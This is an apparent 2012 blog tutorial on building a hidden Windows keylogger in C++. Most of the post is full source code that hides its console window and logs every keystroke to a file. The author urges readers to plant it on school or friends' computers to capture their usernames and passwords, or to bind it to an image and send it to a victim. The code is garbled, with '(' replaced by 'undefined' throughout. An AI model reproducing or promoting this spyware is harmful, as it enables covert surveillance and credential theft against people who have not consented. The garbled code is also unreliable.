Friday, 23 November 2012

Learn To create Keylogger using C++Basic Hacking Tutorials

Hi friends, the most interesting part  of the hacking is spying.  Today i am going to introduce to the C++ Spyware code.   It is going to be very fun.  You can install this spyware in your college/school  or in your friend system, and get their username and passwords. This is very simple hacking trick when compared to phishing web page. 

Disadvantage of Phishing Web page:
you have to upload phishing web page to web hosting.  But only few website won't detect the phishing webpage.
website url is different. Easy to detect that we are hacking.
Advantage of Spyware-keylogger:
Very simple and easy method.
Victim can't detect that we are hacking.

How to create Keylogger using Visual C++?
Requirements:
Dev C++.  Download it from here: http://www.bloodshed.net/
Knowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.


#include <iostream> 
using namespace std; 
#include <windows.h> 
#include <winuser.h> 
int Save undefinedint key_stroke, char *file);
void Stealthundefined);

int mainundefined) 
{
Stealthundefined); 
char i;

while undefined1)
{
forundefinedi = 8; i <= 190; i++)
{
if undefinedGetAsyncKeyStateundefinedi) == -32767)
Save undefinedi,"LOG.txt"); 
}
}
system undefined"PAUSE");
return 0;
}

/* *********************************** */

int Save undefinedint key_stroke, char *file)
{
if undefined undefinedkey_stroke == 1) || undefinedkey_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopenundefinedfile, "a+");

cout << key_stroke << endl;

if undefinedkey_stroke == 8)
fprintfundefinedOUTPUT_FILE, "%s", "[BACKSPACE]"); 
else if undefinedkey_stroke == 13)
fprintfundefinedOUTPUT_FILE, "%s", "\n"); 
else if undefinedkey_stroke == 32)
fprintfundefinedOUTPUT_FILE, "%s", " ");
else if undefinedkey_stroke == VK_TAB) 
fprintfundefinedOUTPUT_FILE, "%s", "[TAB]");
else if undefinedkey_stroke == VK_SHIFT)
fprintfundefinedOUTPUT_FILE, "%s", "[SHIFT]");
else if undefinedkey_stroke == VK_CONTROL)
fprintfundefinedOUTPUT_FILE, "%s", "[CONTROL]");
else if undefinedkey_stroke == VK_ESCAPE)
fprintfundefinedOUTPUT_FILE, "%s", "[ESCAPE]");
else if undefinedkey_stroke == VK_END)
fprintfundefinedOUTPUT_FILE, "%s", "[END]");
else if undefinedkey_stroke == VK_HOME)
fprintfundefinedOUTPUT_FILE, "%s", "[HOME]");
else if undefinedkey_stroke == VK_LEFT)
fprintfundefinedOUTPUT_FILE, "%s", "[LEFT]");
else if undefinedkey_stroke == VK_UP)
fprintfundefinedOUTPUT_FILE, "%s", "[UP]");
else if undefinedkey_stroke == VK_RIGHT)
fprintfundefinedOUTPUT_FILE, "%s", "[RIGHT]");
else if undefinedkey_stroke == VK_DOWN)
fprintfundefinedOUTPUT_FILE, "%s", "[DOWN]");
else if undefinedkey_stroke == 190 || key_stroke == 110)
fprintfundefinedOUTPUT_FILE, "%s", ".");
else
fprintfundefinedOUTPUT_FILE, "%s", &key_stroke);

fclose undefinedOUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealthundefined)
{
HWND Stealth;
AllocConsoleundefined);
Stealth = FindWindowAundefined"ConsoleWindowClass", NULL);
ShowWindowundefinedStealth,0);
}


Compile the Code(Ctrl+F9)




Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.






bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system,then copy the exe file in that system and run it.


1 comment:

  1. DreamHost is the best hosting company for any hosting services you need.

    ReplyDelete